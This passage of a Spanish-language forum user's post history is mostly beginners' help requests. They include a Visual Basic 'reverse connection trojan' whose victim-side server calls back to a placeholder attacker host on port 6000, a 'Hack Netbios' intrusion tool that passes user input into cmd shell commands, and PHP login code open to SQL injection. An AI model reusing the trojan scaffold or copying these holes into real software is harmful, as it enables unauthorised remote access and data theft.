datos = "mensaje|" & Text1.Text & "|" & Check1.Value & "|" & Text4.Text & "|" & Check2.Value & "|" & Option1.Value


ws.SendData datos

End Sub


la conexión esta bien no pongo el resto del código porque ahí  no hay problema.

Adios y Muchas Gracias
#28
hola, bueno yo anteriormente postee sobre un problema con el Csocketmaster...parece que está solucionado

pero ahora me surgió otro problemam al hacer el troyano de conexion inversa (con los winsock) me funciona bien, pero al hacer el server y el cliente el servidor no conecta..

a ver si laguien me puede ayudar

server.exe (envia a la victima)
Código (vb) [Seleccionar]
Option Explicit
Dim WithEvents cliente As CSocketMaster

Private Sub Coneccion_Timer_Timer()
If Not cliente.State = sckConnected Then
cliente.CloseSck
cliente.Connect cliente.RemoteHost, 6000
End If
End Sub

Private Sub Form_Load()
Set cliente = New CSocketMaster
cliente.CloseSck
cliente.RemoteHost = "ip-o-dominio-no-ip"
cliente.Connect cliente.RemoteHost, 6000
End Sub
Private Sub Label1_Click()
If cliente.State = sckConnected Then
Label1.Caption = "conectado"
Else: Label1.Caption = "desconectado"
End If
End Sub


cliente.exe (atacante)
Código (vb) [Seleccionar]
Option Explicit
Dim WithEvents server As CSocketMaster

Private Sub Command1_Click()
server.CloseSck
server.Bind 6000
server.Listen
End Sub
Private Sub Form_Load()
Set server = New CSocketMaster
End Sub
Private Sub ws_ConnectionRequest(ByVal requestID As Long)
server.CloseSck
server.Accept requestID
End Sub


bueno el que tenga ganas de ayudar bienvenido sea  ;D

adios y gracias

#29
buen estubo programando en winsock algunas aplicaciones.. y lei un poco de que es mejor usar el CSocketmaster, bueno el problema es que no encutro mucho algo asi como un tutorial.,. o funciones báscias

la idea es hacer una simple conexion a un cliente (troyano inverso)

y lo que me pasa es lo siguiente: el code

Código (vb) [Seleccionar]
Option Explicit
Dim WithEvents Server As CSocketMaster
Private strRemoteHost As String

Private Sub Form_Load()
Set Server = New CSocketMaster
strRemoteHost = "IP.IP.IP.iP"
End Sub

Private Sub Command1_Click()

Server.Bind
Server.Connect

End Sub


mas los dos modulos

ya se ese codigo es un desastre pero la verdad estoy comenzando y estoy medio perdido...

el error que me da en visual basic es:

me marca el class module: CSocketmaster

Err.Raise sckInvalidOp, "CSocketMaster.Connect", "Invalid operation at current state"

y en el .exe : run time error: '40020'

muchas gracias

adioos  ;D
#30
buen el problema es que estoy haciendo una aplicacion (mini troyano) que utiliza los winsock, entonces la aplicación "server (conexion inversa)" necesita el archivo MSWINSCK.ocx pero como no lo tiene instalado salta un error de que no esta instalado, busque en google y lei dos respuestas:

1. en el form incluir el MSWINSCK.ocx y que se envie a system32.
2. usar las API winsock.

bien en la primera entendi todo ya que es muy sencillo.

pero en la segunda pude tener el codigo y lo hubique en un modulo pero la verdad es que no lo puedo poner en funcionamiento

que es mejor hacer lo primero o lo segundo:

si es lo segundo porfavor un link o algo que epxlique un poco de que se trata.

adios y muchas gracias
#31
PHP / Problema con sesiones
26 Mayo 2009, 15:39 PM
bueno me pasa lo siguiente... estoy haciendo una pagina con registro de usuarios. al registrarse, voy al login e hice una cosa para probar y no me funciona,me pasa lo siguiente, al entrar con el login le pido que me de el nombre de usuario,pero no me lo da,voy al logout, se cierra la sesion, voy a user.php y me muestra la sesion anterior!!  :-[ igual voy a restringir el user.php

aca van los codigos:
user.php
Código (php) [Seleccionar]
<?php
session_cache_limiter
();
session_start();

require(
'config.php');
require(
'functions.php');


//make connection to dbase
$connection = @mysql_connect($server$dbusername$dbpassword)
or die(mysql_error());

$db = @mysql_select_db($db_name,$connection)
or die(mysql_error());

//build and issue the query
$sql ="SELECT * FROM $table_name";
$result = @mysql_query($sql,$connection) or die(mysql_error());

?>

<html>
<head>
      <title>Bienvenidos</title>
</head>
<body>
<p>Entraste con el Nick:</p>
<?php
 
echo  $_SESSION[user_name];
 
?>

<form name="form1" method="post" action="username.php">
  <label>Cambiar nombre de usuario
    <input type="text" name="username.php">
  </label>

  <p>&nbsp;</p>
  <label></label>
  <input type="submit" name="Submit" value="Cambiar">
</form>
<p>&nbsp;</p>
</body>
</html>


config.php no hace falta...

username.php


Código (php) [Seleccionar]
<?php

//function to get the date
function last_login()
{
$date gmdate("Y-m-d");
return $date;
}

//function that sets the session variable
function sess_vars($base_dir$server$dbusername$dbpassword$db_name$table_name$user$pass)
{


//make connection to dbase
$connection = @mysql_connect($server$dbusername$dbpassword)
or die(mysql_error());

$db = @mysql_select_db($db_name,$connection)
or die(mysql_error());

$sql "SELECT * FROM $table_name WHERE username = '$user' and password = password('$pass')";

$result = @mysql_query($sql$connection) or die(mysql_error());


//get the number of rows in the result set
$num mysql_num_rows($result);

//set session variables if there is a match
if ($num != 0
{
while ($sql mysql_fetch_object($result)) 
{
$_SESSION[first_name $sql -> firstname;
$_SESSION[last_name $sql -> lastname
$_SESSION[user_name $sql -> username;       
$_SESSION[password $sql -> password;
$_SESSION[group1]   $sql -> group1;
$_SESSION[group2]   $sql -> group2;
$_SESSION[group3 $sql -> group3;
$_SESSION[pchange] $sql -> pchange;  
$_SESSION[email $sql -> email;
$_SESSION[redirect] $sql -> redirect;
$_SESSION[verified] $sql -> verified;
$_SESSION[last_login] $sql -> last_login;
}
}else{
$_SESSION[redirect] = "$base_dir/errorlogin.html";
}
}

//functions that will determine if access is allowed
function allow_access($group)
{
if ($_SESSION[group1] == "$group|| $_SESSION[group2] == "$group|| $_SESSION[group3] == "$group||
$_SESSION[group1] == "Administrators" || $_SESSION[group2] == "Administrators" || $_SESSION[group3] == "Administrators" ||
$_SESSION[user_name] == "$group")
{
$allowed "yes";
}else{
$allowed "no";
}
return $allowed;
}

//function to check the length of the requested password
function password_check($min_pass$max_pass$pass)
{

$valid "yes";
if ($min_pass strlen($pass) || $max_pass strlen($pass))
{
$valid "no";
}

return $valid;
}

?>


en functions.php hay mas cosas pero esta lo que seria la parte de username.

alguna idea?
#32
Hola a todos, estaba muy ansioso para poner esta duda debido al problema que hubo en el foro estos dias.

bien,la cosa es asi, yo ya habia posteado mi programa 1 mes atras y bueno con las respuestas mejoré un poco el programa.

el form aqui:


Código (vb) [Seleccionar]
Private Sub Command1_Click()
Shell "cmd.exe /c net view>nombre_maquinas.txt"
t = Timer2: Do Until Timer > t + 15: Loop
Dim foo As Integer
    foo = FreeFile
    Open "C:\Documents and Settings\Administrador\Escritorio\nombre_maquinas.txt" For Input As #foo
        Text2.Text = Input(LOF(foo), #foo)
    Close #foo
End Sub

Private Sub Command3_Click()
Dim texto As String
texto = Text1.Text
Shell "cmd.exe /c nbtstat -a " + texto + ">nbtstat.txt"
t = Timer3: Do Until Timer > t + 10: Loop
Dim foo As Integer
    foo = FreeFile
    Open "C:\Documents and Settings\Administrador\Escritorio\nbtstat.txt" For Input As #foo
        Text2.Text = Input(LOF(foo), #foo)
    Close #foo
End Sub

Private Sub Command4_Click()
Text2.Text = "Instrucciones para utilizar Hack Netbios 1.0 by F-Comet:" & vbCrLf & "1.Colocar Hack Netbios 1.0 en el escritorio, en su defecto, produciría fallos." & vbCrLf & "2.Examinar la red con Nombres PC." & vbCrLf & "3.Introducir el nombre de la maquina en Nombrepc." & vbCrLf & "3.Ejecutar netbios conection." & vbCrLf & "4.Al recibir el informe fijarse que haya una maquina con <20> UNIQUE, si es asi continua los siguientes pasos:"
'TextBox1 = "frase1" & vbCrLf & "frase2" & vbCrLf & "frase3"
End Sub

Private Sub Command5_Click()
'Dim x as long, name as string
Dim x&, usuario$

'defining name...
usuario = Space(100)

'calling api: name, and the size/length
x = GetUserName(usuario, 100)

Text3.Text = App.Path
If Text3.Text = "C:\Documents and Settings\" + usuario + "\Escritorio" Then
Text3.Text = "Directorio correcto"
Else
Text3.Text = "Directorio incorrecto"
End If

End Sub


Private Sub Label3_Click()
Label3.Caption = Time
End Sub


Private Sub Timer1_Timer()

Label3.Caption = Time
End Sub


Modulo:

Código (vb) [Seleccionar]
option Explicit

Declare Function GetUserName Lib "advapi32.dll" Alias "GetUserNameA" (ByVal lpBuffer As String, nSize As Long) As Long



Bueno el programa no está terminado, el asunto es el siguiente en la parte :

Código (vb) [Seleccionar]
Private Sub Command5_Click()
'Dim x as long, name as string
Dim x&, usuario$

'defining name...
usuario = Space(100)

'calling api: name, and the size/length
x = GetUserName(usuario, 100)

Text3.Text = App.Path
If Text3.Text = "C:\Documents and Settings\" + usuario + "\Escritorio" Then
Text3.Text = "Directorio correcto"
Else
Text3.Text = "Directorio incorrecto"
End If

End Sub


Entonces:
1.lo que hace es llamar al modulo cuando pide el usuario (estamos tods de acuerdo), pero el problema es que cuando va a poner la url se queda en:C:\Documents and Settings\usuario  y no pone a "Escriorio" y ahi es mi consula ¿porqué no pone la palabra escritorio y se queda en el nombre de usuario?

2.¿piensan que esta bien usar la shell o.. hay alguna api,socket o lo que sea para llamar a netbios?si es asi no encontre

3.opinen sobre el programa (por favor cirticas constructivas)

4 me estoy inciando en visual basic..¿recomiendan visual basic.net?¿por què?

muchas gracias


#33
hola a todos bueno este codigo visual que voy  a poner es el de el progrmaa que estoy realizando que se llama hack netbios 1.0 by F-comet.
lo que hace el programa es hacer una intrusion por netbios desde una pc windows 98 a otras windows 98, en su mejora va a haber desde windows xp a windows 98 o viceversa.. nada mas es una prueba.

lo que voy a aclarar y tengan en cuenta:soy un newbie,y lo trato de hacer como pueda (ya que estoy aprendiendo) pero eso no es todo sino que me digan (si tienen ganas) que les parece y que puedo agregar (aviso q no esta terminado!!) lo malo es que solo funciona desde el escritorio y ya sabran porque asique.. a dejar comentarios.

codigo de hack netbios by F-comet: (solo una parte, de nuevo, no esta terminado)

Private Sub Command1_Click()
Shell "cmd.exe /c net view>nombre_maquinas.txt"
t = Timer: Do Until Timer > t + 10: Loop
Dim foo As Integer
    foo = FreeFile
    Open "C:\Documents and Settings\all users\Escritorio\nombre_maquinas.txt" For Input As #foo
        Text2.Text = Input(LOF(foo), #foo)
    Close #foo
End Sub

Private Sub Command3_Click()
Dim texto As String
texto = Text1.Text
Shell "cmd.exe /c nbtstat -a " + texto + ">nbtstat.txt"
t = Timer: Do Until Timer > t + 10: Loop

Dim foo As Integer
    foo = FreeFile
    Open "C:\Documents and Settings\Administrador\Escritorio\nbtstat.txt" For Input As #foo
        Text2.Text = Input(LOF(foo), #foo)
    Close #foo
End Sub

Private Sub Command4_Click()
Text2.Text = "Instrucciones para utilizar Hack Netbios 1.0 by F-Comet:" & vbCrLf & "1.Colocar Hack Netbios 1.0 en el escritorio, en su defecto, produciría fallos." & vbCrLf & "2.Examinar la red con Nombres PC." & vbCrLf & "3.Introducir el nombre de la maquina deseada en Nombrepc." & vbCrLf & "3.Ejecutar netbios conection." & vbCrLf & "4.Al recibir el informe fijarse que haya una maquina con <20> UNIQUE, si es asi continua los siguientes pasos:"
'TextBox1 = "frase1" & vbCrLf & "frase2" & vbCrLf & "frase3"
End Sub

Private Sub Label3_Click()
Label3.Caption = Time
End Sub

Private Sub Timer1_Timer()

Label3.Caption = Time
End Sub

cuando termina presento el programa  ;D
#34
Scripting / ayuda con actionscript :S
24 Enero 2009, 01:40 AM
hola a todos...

tube un problema con swishmax...

nose que script poner para que un link se abra en la misma ventana...el script getURL se abre en una ventana aparte.


espero que me puedan ayudar

adioos ;D